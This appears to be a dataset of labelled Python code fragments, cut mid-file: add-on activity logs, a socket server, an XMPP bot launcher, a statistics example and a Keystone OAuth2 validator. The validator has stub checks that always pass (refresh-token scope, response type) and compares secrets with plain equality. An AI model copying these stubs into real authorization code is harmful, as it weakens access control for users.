max_wiki_id += 1 try: #first entity doesn't have wiki_id, second entity has it wiki_id2 = wiki_from_url_dict[url_2] except (KeyError, IndexError): #neither first nor second entity have wiki_ids try: #check if a local id has already been assigned wiki_id2 = local_id[url_2] except (KeyError, IndexError): wiki_id2 = max_wiki_id local_id[url_2] = wiki_id2 max_wiki_id +=1 output_file_write.write('%d %d\n' %(wiki_id1,wiki_id2)) print count count += 1 output_file_write.close() pickle.dump(local_id,open('../../datasets/dbpedia/local_id_to_url_full_mapping_based.p','wb')) ",1 "om inspect import isclass from celery.datastructures import AttributeDict from tower import ugettext_lazy as _ __all__ = ('LOG', 'LOG_BY_ID', 'LOG_KEEP',) class _LOG(object): action_class = None class CREATE_ADDON(_LOG): id = 1 action_class = 'add' format = _(u'{addon} was created.') keep = True class EDIT_PROPERTIES(_LOG): """""" Expects: addon """""" id = 2 action_class = 'edit' format = _(u'{addon} properties edited.') class EDIT_DESCRIPTIONS(_LOG): id = 3 action_class = 'edit' format = _(u'{addon} description edited.') class EDIT_CATEGORIES(_LOG): id = 4 action_class = 'edit' format = _(u'Categories edited for {addon}.') class ADD_USER_WITH_ROLE(_LOG): id = 5 action_class = 'add' format = _(u'{0.name} ({1}) added to {addon}.') keep = True class REMOVE_USER_WITH_ROLE(_LOG): id = 6 action_class = 'delete' # L10n: {0} is the user being removed, {1} is their role. format = _(u'{0.name} ({1}) removed from {addon}.') keep = True class EDIT_CONTRIBUTIONS(_LOG): id = 7 action_class = 'edit' format = _(u'Contributions for {addon}.') class USER_DISABLE(_LOG): id = 8 format = _(u'{addon} disabled.') keep = True class USER_ENABLE(_LOG): id = 9 format = _(u'{addon} enabled.') keep = True # TODO(davedash): Log these types when pages are present class SET_PUBLIC_STATS(_LOG): id = 10 format = _(u'Stats set public for {addon}.') keep = True # TODO(davedash): Log these types when pages are present class UNSET_PUBLIC_STATS(_LOG): id = 11 format = _(u'{addon} stats set to private.') keep = True class CHANGE_STATUS(_LOG): id = 12 # L10n: {0} is the status format = _(u'{addon} status changed to {0}.') keep = True class ADD_PREVIEW(_LOG): id = 13 action_class = 'add' format = _(u'Preview added to {addon}.') class EDIT_PREVIEW(_LOG): id = 14 action_class = 'edit' format = _(u'Preview edited for {addon}.') class DELETE_PREVIEW(_LOG): id = 15 action_class = 'delete' format = _(u'Preview deleted from {addon}.') class ADD_VERSION(_LOG): id = 16 action_class = 'add' format = _(u'{version} added to {addon}.') keep = True class EDIT_VERSION(_LOG): id = 17 action_class = 'edit' format = _(u'{version} edited for {addon}.') class DELETE_VERSION(_LOG): id = 18 action_class = 'delete' # Note, {0} is a string not a version since the version is deleted. # L10n: {0} is the version number format = _(u'Version {0} deleted from {addon}.') keep = True class ADD_FILE_TO_VERSION(_LOG): id = 19 action_class = 'add' format = _(u'File {0.name} added to {version} of {addon}.') class DELETE_FILE_FROM_VERSION(_LOG): """""" Expecting: addon, filename, version Because the file is being deleted, filename and version should be strings and not the object. """""" id = 20 action_class = 'delete' format = _(u'File {0} deleted from {version} of {addon}.') class APPROVE_VERSION(_LOG): id = 21 action_class = 'approve' format = _(u'{addon} {version} approved.') short = _(u'Approved') keep = True review_email_user = True review_queue = True class PRELIMINARY_VERSION(_LOG): id = 42 action_class = 'approve' format = _(u'{addon} {version} given preliminary review.') short = _(u'Preliminarily approved') keep = True review_email_user = True review_queue = True class REJECT_VERSION(_LOG): # takes add-on, version, reviewtype id = 43 action_class = 'reject' format = _(u'{addon} {version} rejected.') short = _(u'Rejected') keep = True review_email_user = True review_queue = True class RETAIN_VERSION(_LOG): # takes add-on, version, reviewtype id = 22 format = _(u'{addon} {version} retained.') short = _(u'Retained') keep = True review_email_user = True review_queue = True class ESCALATE_VERSION(_LOG): # takes add-on, version, reviewtype id = 23 format = _(u'{addon} {version} escalated.') short = _(u'Escalated') keep = True review_email_user = True review_queue = True class REQUEST_VERSION(_LOG): # takes add-on, version, reviewtype id = 24 format = _(u'{addon} {version} review requested.') short = _(u'Review requested') keep = True review_email_user = True review_queue = True class REQUEST_INFORMATION(_LOG): id = 44 format = _(u'{addon} {version} more information requested.') short = _(u'More information requested') keep = True review_email_user = True review_queue = True class REQUEST_SUPER_REVIEW(_LOG): id = 45 format = _(u'{addon} {version} super review requested.') short = _(u'Super review requested') keep = True review_queue = True class COMMENT_VERSION(_LOG): id = 49 format = _(u'Comment on {addon} {version}.') short = _(u'Comment') keep = True review_queue = True hide_developer = True class ADD_TAG(_LOG): id = 25 action_class = 'tag' format = _(u'{tag} added to {addon}.') class REMOVE_TAG(_LOG): id = 26 action_class = 'tag' format = _(u'{tag} removed from {addon}.') class ADD_TO_COLLECTION(_LOG): id = 27 action_class = 'collection' format = _(u'{addon} added to {collection}.') class REMOVE_FROM_COLLECTION(_LOG): id = 28 action_class = 'collection' format = _(u'{addon} removed from {collection}.') class ADD_REVIEW(_LOG): id = 29 action_class = 'review' format = _(u'{review} for {addon} written.') # TODO(davedash): Add these when we do the admin site class ADD_RECOMMENDED_CATEGORY(_LOG): id = 31 action_class = 'edit' # L10n: {0} is a category name. format = _(u'{addon} featured in {0}.') class REMOVE_RECOMMENDED_CATEGORY(_LOG): id = 32 action_class = 'edit' # L10n: {0} is a category name. format = _(u'{addon} no longer featured in {0}.') class ADD_RECOMMENDED(_LOG): id = 33 format = _(u'{addon} is now featured.') keep = True class REMOVE_RECOMMENDED(_LOG): id = 34 format = _(u'{addon} is no longer featured.') keep = True class ADD_APPVERSION(_LOG): id = 35 action_class = 'add' # L10n: {0} is the application, {1} is the version of the app format = _(u'{0} {1} added.') class CHANGE_USER_WITH_ROLE(_LOG): """""" Expects: author.user, role, addon """""" id = 36 # L10n: {0} is a user, {1} is their role format = _(u'{0.name} role changed to {1} for {addon}.') keep = True class CHANGE_LICENSE(_LOG): """""" Expects: license, addon """""" id = 37 action_class = 'edit' format = _(u'{addon} is now licensed under {0.name}.') class CHANGE_POLICY(_LOG): id = 38 action_class = 'edit' format = _(u'{addon} policy changed.') class CHANGE_ICON(_LOG): id = 39 action_class = 'edit' format = _(u'{addon} icon changed.') class APPROVE_REVIEW(_LOG): id = 40 action_class = 'approve' format = _(u'{review} for {addon} approved.') editor_format = _(u'{user} approved {review} for {addon}.') keep = True editor_event = True class DELETE_REVIEW(_LOG): """"""Requires review.id and add-on objects."""""" id = 41 action_class = 'review' format = _(u'Review {review} for {addon} deleted.') editor_format = _(u'{user} deleted {review} for {addon}.') keep = True editor_event = True class MAX_APPVERSION_UPDATED(_LOG): id = 46 format = _(u'Application max version for {version} updated.') class BULK_VALIDATION_EMAILED(_LOG): id = 47 format = _(u'Authors emailed about compatibility of {version}.') class BULK_VALIDATION_USER_EMAILED(_LOG): id = 130 format = _(u'Email sent to Author about add-on compatibility.') class CHANGE_PASSWORD(_LOG): id = 48 format = _(u'Password changed.') class PAYPAL_FAILED(_LOG): id = 51 format = _(u'{addon} failed checks with PayPal.') class MANIFEST_UPDATED(_LOG): id = 52 format = _(u'{addon} manifest updated.') class APPROVE_VERSION_WAITING(_LOG): id = 53 action_class = 'approve' format = _(u'{addon} {version} approved but waiting to be made public.') short = _(u'Approved but waiting') keep = True review_email_user = True review_queue = True class PURCHASE_ADDON(_LOG): id = 54 format = _(u'{addon} purchased.') class INSTALL_ADDON(_LOG): id = 55 format = _(u'{addon} installed.') class USER_EDITED(_LOG): id = 60 format = _(u'Account updated.') class ESCALATION_CLEARED(_LOG): id = 66 format = _(u'Escalation cleared for {addon}.') short = _(u'Escalation cleared') keep = True review_queue = True class APP_DISABLED(_LOG): id = 67 format = _(u'{addon} disabled.') short = _(u'App disabled') keep = True review_queue = True class ESCALATED_HIGH_ABUSE(_LOG): id = 68 format = _(u'{addon} escalated because of high number of abuse reports.') short = _(u'High Abuse Reports') keep = True review_queue = True class ESCALATE_MANUAL(_LOG): id = 73 format = _(u'{addon} escalated by reviewer.') short = _(u'Reviewer escalation') keep = True review_queue = True # TODO(robhudson): Escalation log for editor escalation.. class VIDEO_ERROR(_LOG): id = 74 format = _(u'Video removed from {addon} because of a problem with ' u'the video. ') short = _(u'Video removed') class REREVIEW_DEVICES_ADDED(_LOG): id = 75 format = _(u'{addon} re-review because of new device(s) added.') short = _(u'Device(s) Added') keep = True review_queue = True class REVIEW_DEVICE_OVERRIDE(_LOG): id = 76 format = _(u'{addon} device support manually changed by reviewer.') short = _(u'Device(s) Changed by Reviewer') keep = True review_queue = True class CUSTOM_TEXT(_LOG): id = 98 format = '{0}' class CUSTOM_HTML(_LOG): id = 99 format = '{0}' class OBJECT_ADDED(_LOG): id = 100 format = _(u'Created: {0}.') admin_event = True class OBJECT_EDITED(_LOG): id = 101 format = _(u'Edited field: {2} set to: {0}.') admin_event = True class OBJECT_DELETED(_LOG): id = 102 format = _(u'Deleted: {1}.') admin_event = True class ADMIN_USER_EDITED(_LOG): id = 103 format = _(u'User {user} edited, reason: {1}') admin_event = True class ADMIN_USER_ANONYMIZED(_LOG): id = 104 format = _(u'User {user} anonymized.') admin_event = True class ADMIN_USER_RESTRICTED(_LOG): id = 105 format = _(u'User {user} restricted.') admin_event = True class ADMIN_VIEWED_LOG(_LOG): id = 106 format = _(u'Admin {0} viewed activity log for {user}.') admin_event = True class EDIT_REVIEW(_LOG): id = 107 action_class = 'review' format = _(u'{review} for {addon} updated.') class THEME_REVIEW(_LOG): id = 108 action_class = 'review' format = _(u'{addon} reviewed.') class GROUP_USER_ADDED(_LOG): id = 120 action_class = 'access' format = _(u'User {0.name} added to {group}.') keep = True admin_event = True class GROUP_USER_REMOVED(_LOG): id = 121 action_class = 'access' format = _(u'User {0.name} removed from {group}.') keep = True admin_event = True class REVIEW_FEATURES_OVERRIDE(_LOG): id = 122 format = _(u'{addon} minimum requirements manually changed by reviewer.') short = _(u'Requirements Changed by Reviewer') keep = True review_queue = True class REREVIEW_FEATURES_CHANGED(_LOG): id = 123 format = _(u'{addon} minimum requirements manually changed.') short = _(u'Requirements Changed') keep = True review_queue = True class CHANGE_VERSION_STATUS(_LOG): id = 124 # L10n: {0} is the status format = _(u'{version} status changed to {0}.') keep = True class DELETE_USER_LOOKUP(_LOG): id = 125 # L10n: {0} is the status format = _(u'User {0.name} {0.id} deleted via lookup tool.') keep = True class CONTENT_RATING_TO_ADULT(_LOG): id = 126 format = _('{addon} content rating changed to Adult.') review_queue = True class CONTENT_RATING_CHANGED(_LOG): id = 127 format = _('{addon} content rating changed.') class ADDON_UNLISTED(_LOG): id = 128 format = _(u'{addon} unlisted.') keep = True class BETA_SIGNED_VALIDATION_PASSED(_LOG): id = 131 format = _(u'{file} was signed.') keep = True class BETA_SIGNED_VALIDATION_FAILED(_LOG): id = 132 format = _(u'{file} was signed.') keep = True class DELETE_ADDON(_LOG): id = 133 action_class = 'delete' # L10n: {0} is the add-on GUID. format = _(u'Addon id {0} with GUID {1} has been deleted') keep = True LOGS = [x for x in vars().values() if isclass(x) and issubclass(x, _LOG) and x != _LOG] # Make sure there's no duplicate IDs. assert len(LOGS) == len(set(log.id for log in LOGS)) LOG_BY_ID = dict((l.id, l) for l in LOGS) LOG = AttributeDict((l.__name__, l) for l in LOGS) LOG_ADMINS = [l.id for l in LOGS if hasattr(l, 'admin_event')] LOG_KEEP = [l.id for l in LOGS if hasattr(l, 'keep')] LOG_EDITORS = [l.id for l in LOGS if hasattr(l, 'editor_event')] LOG_REVIEW_QUEUE = [l.id for l in LOGS if hasattr(l, 'review_queue')] # Is the user emailed the message? LOG_REVIEW_EMAIL_USER = [l.id for l in LOGS if hasattr(l, 'review_email_user')] # Logs *not* to show to the developer. LOG_HIDE_DEVELOPER = [l.id for l in LOGS if (getattr(l, 'hide_developer', False) or l.id in LOG_ADMINS)] def log(action, *args, **kw): """""" e.g. amo.log(amo.LOG.CREATE_ADDON, []), amo.log(amo.LOG.ADD_FILE_TO_VERSION, file, version) """""" from access.models import Group from addons.models import Addon from amo import get_user, logger_log from devhub.models import (ActivityLog, AddonLog, CommentLog, GroupLog, UserLog, VersionLog) from users.models import UserProfile from versions.models import Version user = kw.get('user', get_user()) if not user: logger_log.warning('Activity log called with no user: %s' % action.id) return al = ActivityLog(user=user, action=action.id) al.arguments = args if 'details' in kw: al.details = kw['details'] al.save() if 'details' in kw and 'comments' in al.details: CommentLog(comments=al.details['comments'], activity_log=al).save() # TODO(davedash): post-remora this may not be necessary. if 'created' in kw: al.created = kw['created'] # Double save necessary since django resets the created date on save. al.save() for arg in args: if isinstance(arg, tuple): if arg[0] == Addon: AddonLog(addon_id=arg[1], activity_log=al).save() elif arg[0] == Version: VersionLog(version_id=arg[1], activity_log=al).save() elif arg[0] == UserProfile: UserLog(user_id=arg[1], activity_log=al).save() elif arg[0] == Group: GroupLog(group_id=arg[1], activity_log=al).save() elif isinstance(arg, Addon): AddonLog(addon=arg, activity_log=al).save() elif isinstance(arg, Version): VersionLog(version=arg, activity_log=al).save() elif isinstance(arg, UserProfile): # Index by any user who is mentioned as an argument. UserLog(activity_log=al, user=arg).save() elif isinstance(arg, Group): GroupLog(group=arg, activity_log=al).save() # Index by every user UserLog(activity_log=al, user=user).save() return al ",1 " = clientsocket.recv(1024) print(data) web_contents = ""

    Received

    "" f = open(""myhtml.html"", ""r"") web_contents = f.read() f.close() web_headers = ""HTTP/1.1 200"" web_headers += ""\n"" + ""Content-Type: text/html"" web_headers += ""\n"" + ""Content-Length: %i"" % len(str.encode(web_contents)) clientsocket.send(str.encode(web_headers + ""\n\n"" + web_contents)) clientsocket.close() # create an INET, STREAMing socket serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # bind the socket to a public host, and a well-known port hostname = socket.gethostname() ip = socket.gethostbyname(hostname) # Let's use better the local interface name hostname = ""10.10.104.17"" try: serversocket.bind((ip, PORT)) # become a server socket # MAX_OPEN_REQUESTS connect requests before refusing outside connections serversocket.listen(MAX_OPEN_REQUESTS) while True: # accept connections from outside print (""Waiting for connections at %s %i"" % (hostname, PORT)) (clientsocket, address) = serversocket.accept() # now do something with the clientsocket # in this case, we'll pretend this is a non threaded server process_client(clientsocket) except socket.error: print(""Problemas using port %i. Do you have permission?"" % PORT) ",1 "ataset.get_data() #A:slow, B:fast #(1) Conduct non-parametric test: np.random.seed(0) alpha = 0.05 two_tailed = False snpm = spm1d.stats.nonparam.cca(y, x) snpmi = snpm.inference(alpha, iterations=100) print( snpmi ) #(2) Compare with parametric result: spm = spm1d.stats.cca(y, x) spmi = spm.inference(alpha) print( spmi ) #(3) Plot plt.close('all') plt.figure(figsize=(10,4)) ax0 = plt.subplot(121) ax1 = plt.subplot(122) labels = 'Parametric', 'Non-parametric' for ax,zi,label in zip([ax0,ax1], [spmi,snpmi], labels): zi.plot(ax=ax) zi.plot_threshold_label(ax=ax, fontsize=8) zi.plot_p_values(ax=ax, size=10) ax.set_title( label ) plt.tight_layout() plt.show() ",1 "on. """""" import os import re import sys import signal import logging from collections import namedtuple try: # noinspection PyCompatibility,PyUnresolvedReferences from configparser import RawConfigParser except ImportError: # noinspection PyCompatibility,PyUnresolvedReferences from ConfigParser import RawConfigParser try: # noinspection PyCompatibility from importlib import reload except ImportError: # noinspection PyUnresolvedReferences from imp import reload from ludolph.utils import parse_loglevel from ludolph.bot import LudolphBot from ludolph.plugins.plugin import LudolphPlugin from ludolph import __version__ LOGFORMAT = '%(asctime)s %(levelname)-8s %(name)s: %(message)s' logger = logging.getLogger('ludolph.main') Plugin = namedtuple('Plugin', ('name', 'module', 'cls')) def daemonize(): """""" http://code.activestate.com/recipes/278731-creating-a-daemon-the-python-way/ http://www.jejik.com/articles/2007/02/a_simple_unix_linux_daemon_in_python/ """""" try: pid = os.fork() # Fork #1 if pid > 0: sys.exit(0) # Exit first parent except OSError as e: sys.stderr.write('Fork #1 failed: %d (%s)\n' % (e.errno, e.strerror)) sys.exit(1) # The first child. Decouple from parent environment # Become session leader of this new session. # Also be guaranteed not to have a controlling terminal os.chdir('/') # noinspection PyArgumentList os.setsid() os.umask(0o022) try: pid = os.fork() # Fork #2 if pid > 0: sys.exit(0) # Exit from second parent except OSError as e: sys.stderr.write('Fork #2 failed: %d (%s)\n' % (e.errno, e.strerror)) sys.exit(1) # Close all open file descriptors import resource # Resource usage information maxfd = resource.getrlimit(resource.RLIMIT_NOFILE)[1] if maxfd == resource.RLIM_INFINITY: maxfd = 1024 # Iterate through and close all file descriptors for fd in range(0, maxfd): try: os.close(fd) except OSError: # ERROR, fd wasn't open (ignored) pass # Redirect standard file descriptors to /dev/null sys.stdout.flush() sys.stderr.flush() si = open(os.devnull, 'r') so = open(os.devnull, 'a+') se = open(os.devnull, 'a+') os.dup2(si.fileno(), sys.stdin.fileno()) os.dup2(so.fileno(), sys.stdout.fileno()) os.dup2(se.fileno(), sys.stderr.fileno()) return 0 def start(): """""" Start the daemon. """""" ret = 0 cfg = 'ludolph.cfg' cfg_fp = None cfg_lo = ((os.path.expanduser('~'), '.' + cfg), (sys.prefix, 'etc', cfg), ('/etc', cfg)) config_base_sections = ('global', 'xmpp', 'webserver', 'cron', 'ludolph.bot') # Try to read config file from ~/.ludolph.cfg or /etc/ludolph.cfg for i in cfg_lo: try: cfg_fp = open(os.path.join(*i)) except IOError: continue else: break if not cfg_fp: sys.stderr.write(""""""\nLudolph can't start!\n You need to create a config file in one these locations: \n%s\n You can rename ludolph.cfg.example and update the required options. The example file is located in: %s\n\n"""""" % ( '\n'.join([os.path.join(*i) for i in cfg_lo]), os.path.dirname(os.path.abspath(__file__)))) sys.exit(1) # Read and parse configuration # noinspection PyShadowingNames def load_config(fp, reopen=False): config = RawConfigParser() if reopen: fp = open(fp.name) try: # config.readfp() is Deprecated since python 3.2 # noinspection PyDeprecation read_file = config.readfp except AttributeError: read_file = config.read_file read_file(fp) fp.close() return config config = load_config(cfg_fp) # Prepare logging configuration logconfig = { 'level': parse_loglevel(config.get('global', 'loglevel')), 'format': LOGFORMAT, } if config.has_option('global', 'logfile'): logfile = config.get('global', 'logfile').strip() if logfile: logconfig['filename'] = logfile # Daemonize if config.has_option('global', 'daemon'): if config.getboolean('global', 'daemon'): ret = daemonize() # Save pid file if config.has_option('global', 'pidfile'): try: with open(config.get('global', 'pidfile'), 'w') as fp: fp.write('%s' % os.getpid()) except Exception as ex: # Setup logging just to show this error logging.basicConfig(**logconfig) logger.critical('Could not write to pidfile (%s)\n', ex) sys.exit(1) # Setup logging logging.basicConfig(**logconfig) # All exceptions will be logged without exit def log_except_hook(*exc_info): logger.critical('Unhandled exception!', exc_info=exc_info) sys.excepthook = log_except_hook # Default configuration use_tls = True use_ssl = False address = [] # Starting logger.info('Starting Ludolph %s (%s %s)', __version__, sys.executable, sys.version.split()[0]) logger.info('Loaded configuration from %s', cfg_fp.name) # Load plugins # noinspection PyShadowingNames def load_plugins(config, reinit=False): plugins = [] for config_section in config.sections(): config_section = config_section.strip() if config_section in config_base_sections: continue # Parse other possible imports parsed_plugin = config_section.split('.') if len(parsed_plugin) == 1: modname = 'ludolph.plugins.' + config_section plugin = config_section else: modname = config_section plugin = parsed_plugin[-1] logger.info('Loading plugin: %s', modname) try: # Translate super_ludolph_plugin into SuperLudolphPlugin clsname = plugin[0].upper() + re.sub(r'_+([a-zA-Z0-9])', lambda m: m.group(1).upper(), plugin[1:]) module = __import__(modname, fromlist=[clsname]) if reinit and getattr(module, '_loaded_', False): reload(module) module._loaded_ = True imported_class = getattr(module, clsname) if not issubclass(imported_class, LudolphPlugin): raise TypeError('Plugin: %s is not LudolphPlugin instance' % modname) plugins.append(Plugin(config_section, modname, imported_class)) except Exception as ex: logger.exception(ex) logger.critical('Could not load plugin: %s', modname) return plugins plugins = load_plugins(config) # XMPP connection settings if config.has_option('xmpp', 'host'): address = [config.get('xmpp', 'host'), '5222'] if config.has_option('xmpp', 'port'): address[1] = config.get('xmpp', 'port') logger.info('Connecting to jabber server %s', ':'.join(address)) else: logger.info('Using DNS SRV lookup to find jabber server') if config.has_option('xmpp', 'tls'): use_tls = config.getboolean('xmpp', 'tls') if config.has_option('xmpp', 'ssl'): use_ssl = config.getboolean('xmpp', 'ssl') # Here we go xmpp = LudolphBot(config, plugins=plugins) signal.signal(signal.SIGINT, xmpp.shutdown) signal.signal(signal.SIGTERM, xmpp.shutdown) if hasattr(signal, 'SIGHUP'): # Windows does not support SIGHUP - bug #41 # noinspection PyUnusedLocal,PyShadowingNames def sighup(signalnum, handler): if xmpp.reloading: logger.warning('Reload already in progress') else: xmpp.reloading = True try: config = load_config(cfg_fp, reopen=True) logger.info('Reloaded configuration from %s', cfg_fp.name) xmpp.prereload() plugins = load_plugins(config, reinit=True) xmpp.reload(config, plugins=plugins) finally: xmpp.reloading = False signal.signal(signal.SIGHUP, sighup) # signal.siginterrupt(signal.SIGHUP, false) # http://stackoverflow.com/a/4302037 if xmpp.client.connect(tuple(address), use_tls=use_tls, use_ssl=use_ssl): xmpp.client.process(block=True) sys.exit(ret) else: logger.error('Ludolph is unable to connect to jabber server') sys.exit(2) if __name__ == '__main__': start() ",1 " except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import datetime from keystone import exception from keystone.auth import plugins as auth_plugins from keystone.common import dependency from keystone.openstack.common import log from oauthlib.oauth2 import RequestValidator try: from oslo.utils import timeutils except ImportError: from keystone.openstack.common import timeutils METHOD_NAME = 'oauth2_validator' LOG = log.getLogger(__name__) @dependency.requires('oauth2_api') class OAuth2Validator(RequestValidator): """"""OAuthlib request validator."""""" # Ordered roughly in order of appearance in the authorization grant flow # Pre- and post-authorization. def validate_client_id(self, client_id, request, *args, **kwargs): # Simple validity check, does client exist? Not banned? client_dict = self.oauth2_api.get_consumer(client_id) if client_dict: return True # NOTE(garcianavalon) Currently the sql driver raises an exception # if the consumer doesnt exist so we throw the Keystone NotFound # 404 Not Found exception instead of the OAutlib InvalidClientId # 400 Bad Request exception. return False def validate_redirect_uri(self, client_id, redirect_uri, request, *args, **kwargs): # Is the client allowed to use the supplied redirect_uri? i.e. has # the client previously registered this EXACT redirect uri. client_dict = self.oauth2_api.get_consumer(client_id) registered_uris = client_dict['redirect_uris'] return redirect_uri in registered_uris def get_default_redirect_uri(self, client_id, request, *args, **kwargs): # The redirect used if none has been supplied. # Prefer your clients to pre register a redirect uri rather than # supplying one on each authorization request. # TODO(garcianavalon) implement pass def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs): # Is the client allowed to access the requested scopes? if not scopes: return True # the client is not requesting any scope client_dict = self.oauth2_api.get_consumer(client_id) if not client_dict['scopes']: return False # the client isnt allowed any scopes for scope in scopes: if not scope in client_dict['scopes']: return False return True def get_default_scopes(self, client_id, request, *args, **kwargs): # Scopes a client will authorize for if none are supplied in the # authorization request. # TODO(garcianavalon) implement pass def validate_response_type(self, client_id, response_type, client, request, *args, **kwargs): # Clients should only be allowed to use one type of response type, the # one associated with their one allowed grant type. # FIXME(garcianavalon) we need to support multiple grant types # for the same consumers right now. In the future we should # separate them and only allow one grant type (registering # each client one time for each grant or allowing components) # or update the tools to allow to create clients with # multiple grants # client_dict = self.oauth2_api.get_consumer(client_id) # allowed_response_type = client_dict['response_type'] # return allowed_response_type == response_type return True # Post-authorization def save_authorization_code(self, client_id, code, request, *args, **kwargs): # Remember to associate it with request.scopes, request.redirect_uri # request.client, request.state and request.user (the last is passed in # post_authorization credentials, i.e. { 'user': request.user}. authorization_code = { 'code': code['code'], # code is a dict with state and the code 'consumer_id': client_id, 'scopes': request.scopes, 'authorizing_user_id': request.user_id, # populated through the credentials 'state': request.state, 'redirect_uri': request.redirect_uri } token_duration = 28800 # TODO(garcianavalon) extract as configuration option # TODO(garcianavalon) find a better place to do this now = timeutils.utcnow() future = now + datetime.timedelta(seconds=token_duration) expiry_date = timeutils.isotime(future, subsecond=True) authorization_code['expires_at'] = expiry_date self.oauth2_api.store_authorization_code(authorization_code) # Token request def authenticate_client(self, request, *args, **kwargs): # Whichever authentication method suits you, HTTP Basic might work # TODO(garcianavalon) write it cleaner LOG.debug('OAUTH2: authenticating client') authmethod, auth = request.headers['Authorization'].split(' ', 1) auth = auth.decode('unicode_escape') if authmethod.lower() == 'basic': auth = auth.decode('base64') client_id, secret = auth.split(':', 1) client_dict = self.oauth2_api.get_consumer_with_secret(client_id) if client_dict['secret'] == secret: # TODO(garcianavalon) this can be done in a cleaner way #if we change the consumer model attribute to client_id request.client = type('obj', (object,), {'client_id' : client_id}) LOG.info('OAUTH2: succesfully authenticated client %s', client_dict['name']) return True return False def authenticate_client_id(self, client_id, request, *args, **kwargs): # Don't allow public (non-authenticated) clients # TODO(garcianavalon) check this method return False def validate_code(self, client_id, code, client, request, *args, **kwargs): # Validate the code belongs to the client. Add associated scopes, # state and user to request.scopes, request.state and request.user. authorization_code = self.oauth2_api.get_authorization_code(code) if not authorization_code['valid']: return False if not authorization_code['consumer_id'] == request.client.client_id: return False request.scopes = authorization_code['scopes'] request.state = authorization_code['state'] request.user = authorization_code['authorizing_user_id'] return True def confirm_redirect_uri(self, client_id, code, redirect_uri, client, *args, **kwargs): # You did save the redirect uri with the authorization code right? authorization_code = self.oauth2_api.get_authorization_code(code) return authorization_code['redirect_uri'] == redirect_uri def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs): # Clients should only be allowed to use one type of grant. # FIXME(garcianavalon) we need to support multiple grant types # for the same consumers right now. In the future we should # separate them and only allow one grant type (registering # each client one time for each grant or allowing components) # or update the tools to allow to create clients with # multiple grants # # client_id comes as None, we use the one in request # client_dict = self.oauth2_api.get_consumer(request.client.client_id) # return grant_type == client_dict['grant_type'] # TODO(garcianavalon) sync with SQL backend soported grant_types return grant_type in [ 'password', 'authorization_code', 'client_credentials', 'refresh_token', ] def save_bearer_token(self, token, request, *args, **kwargs): # Remember to associate it with request.scopes, request.user and # request.client. The two former will be set when you validate # the authorization code. Don't forget to save both the # access_token and the refresh_token and set expiration for the # access_token to now + expires_in seconds. # token is a dictionary with the following elements: # { # u'access_token': u'iC1DQuu7zOgNIjquPXPmXE5hKnTwgu', # u'expires_in': 3600, # u'token_type': u'Bearer', # u'state': u'yKxWeujbz9VUBncQNrkWvVcx8EXl1w', # u'scope': u'basic_scope', # u'refresh_token': u'02DTsL6oWgAibU7xenvXttwG80trJC' # } # TODO(garcinanavalon) create a custom TokenCreator instead of # hacking the dictionary if getattr(request, 'client', None): consumer_id = request.client.client_id else: consumer_id = request.client_id if getattr(request, 'user', None): user_id = request.user else: user_id = request.user_id expires_at = datetime.datetime.today() + datetime.timedelta(seconds=token['expires_in']) access_token = { 'id':token['access_token'], 'consumer_id':consumer_id, 'authorizing_user_id':user_id, 'scopes': request.scopes, 'expires_at':datetime.datetime.strftime(expires_at, '%Y-%m-%d %H:%M:%S'), 'refresh_token': token.get('refresh_token', None), } self.oauth2_api.store_access_token(access_token) def invalidate_authorization_code(self, client_id, code, request, *args, **kwargs): # Authorization codes are use once, invalidate it when a Bearer token # has been acquired. self.oauth2_api.invalidate_authorization_code(code) # Protected resource request def validate_bearer_token(self, token, scopes, request): # Remember to check expiration and scope membership try: access_token = self.oauth2_api.get_access_token(token) except exception.NotFound: return False if (datetime.datetime.strptime(access_token['expires_at'], '%Y-%m-%d %H:%M:%S') < datetime.datetime.today()): return False if access_token['scopes'] != scopes: return False # NOTE(garcianavalon) we set some attributes in request for later use. There # is no documentation about this so I follow the comments found in the example # at https://oauthlib.readthedocs.org/en/latest/oauth2/endpoints/resource.html # which are: # oauthlib_request has a few convenient attributes set such as # oauthlib_request.client = the client associated with the token # oauthlib_request.user = the user associated with the token # oauthlib_request.scopes = the scopes bound to this token # request.scopes is set by oauthlib already request.user = access_token['authorizing_user_id'] request.client = access_token['consumer_id'] return True # Token refresh request def get_original_scopes(self, refresh_token, request, *args, **kwargs): # Obtain the token associated with the given refresh_token and # return its scopes, these will be passed on to the refreshed # access token if the client did not specify a scope during the # request. # TODO(garcianavalon) return ['all_info'] def is_within_original_scope(self, request_scopes, refresh_token, request, *args, **kwargs): """"""Check if requested scopes are within a scope of the refresh token. When access tokens are refreshed the scope of the new token needs to be within the scope of the original token. This is ensured by checking that all requested scopes strings are on the list returned by the get_original_scopes. If this check fails, is_within_original_scope is called. The method can be used in situations where returning all valid scopes from the get_original_scopes is not practical. :param request_scopes: A list of scopes that were requested by client :param refresh_token: Unicode refresh_token :param request: The HTTP Request (oauthlib.common.Request) :rtype: True or False Method is used by: - Refresh token grant """""" # TODO(garcianavalon) return True def validate_refresh_token(self, refresh_token, client, request, *args, **kwargs): """"""Ensure the Bearer token is valid and authorized access to scopes. OBS! The request.user attribute should be set to the resource owner associated with this refresh token. :param refresh_token: Unicode refresh token :param client: Client object set by you, see authenticate_client. :param request: The HTTP Request (oauthlib.common.Request) :rtype: True or False Method is used by: - Authorization Code Grant (indirectly by issuing refresh tokens) - Resource Owner Password Credentials Grant (also indirectly) - Refresh Token Grant """""" try: access_token = self.oauth2_api.get_access_token_by_refresh_token(refresh_token) # Validate that the refresh token is not expired token_duration = 28800 # TODO(garcianavalon) extract as configuration option refresh_token_duration = 14 # TODO(garcianavalon) extract as configuration option # TODO(garcianavalon) find a better place to do this access_token_expiration_date = datetime.datetime.strptime( access_token['expires_at'], '%Y-%m-%d %H:%M:%S') refres_token_expiration_date = ( access_token_expiration_date - datetime.timedelta(seconds=token_duration) + datetime.timedelta(days=refresh_token_duration)) if refres_token_expiration_date < datetime.datetime.today(): return False except exception.NotFound: return False request.user = access_token['authorizing_user_id'] return True # Support for password grant def validate_user(self, username, password, client, request, *args, **kwargs): """"""Ensure the username and password is 